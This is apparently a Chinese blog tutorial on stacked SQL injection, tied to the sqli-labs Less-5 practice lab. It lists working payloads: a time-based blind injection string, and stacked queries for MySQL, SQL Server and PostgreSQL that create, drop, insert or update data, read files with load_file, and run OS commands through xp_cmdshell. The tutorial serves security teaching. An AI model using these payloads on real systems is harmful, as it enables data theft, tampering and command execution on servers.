堆叠注入

原理

执行多条语句,多语句之间以分号隔开。首先访问id=1'页面显示错误,id=1'%23,页面返回正常结果。可使用布尔注入、时间注入、也可堆叠注入。

';select if(substr(user(),1,1)='r',sleep(3),1)%23

堆叠注入的局限性在于并不是每一个环境下都可以执行, 可能受到 API 或者数据库引擎不支持的限制, 当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。


各个数据库实例介绍


Mysql数据库

#新建一个表
select * from users where id=1;create table test like users; 
#删除上面新建的 test 表
select * from users where id=1;drop table test;
#查询数据
select * from users where id=1;select 1,2,3;
#加载文件
select * from users where id=1;select load_file('c:/tmpupbbn.php');
#添加数据
select * from users where id=1;insert into users(id,username,password)
values('100','new','new');

Sql server 数据库

#增加数据表 
select * from test;create table sc3(ss CHAR(8));
#删除数据表 
select * from test;drop table sc3;
#查询数据 
select 1,2,3;select * from test;
#修改数据 
select * from test;update test set name='test' where id=3;
#sqlserver 中最为重要的存储过程的执行
select * from test where id=1;exec master..xp_cmdshell 'ipconfig

Oracle数据库

oracle 不能使用堆叠注入,当有两条语句在同一行时, 直接报错。无效字符。
Postgresql数据库

#新建一个表 
select * from user_test;create table user_data(id DATE);
#删除上面新建的 
user_data 表 select * from user_test;delete from user_data;
#查询数据 
select * from user_test;select 1,2,3;
#修改数据 
select * from user_test;update user_test set name='modify' where name='张三
';

 

sqli-labs实例:Less-5

堆叠注入

执行多条语句,多语句用分号隔开。

';select if(substr(user(),1,1)='r',sleep(3),1)%23

第二条语句用的是时间盲注。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值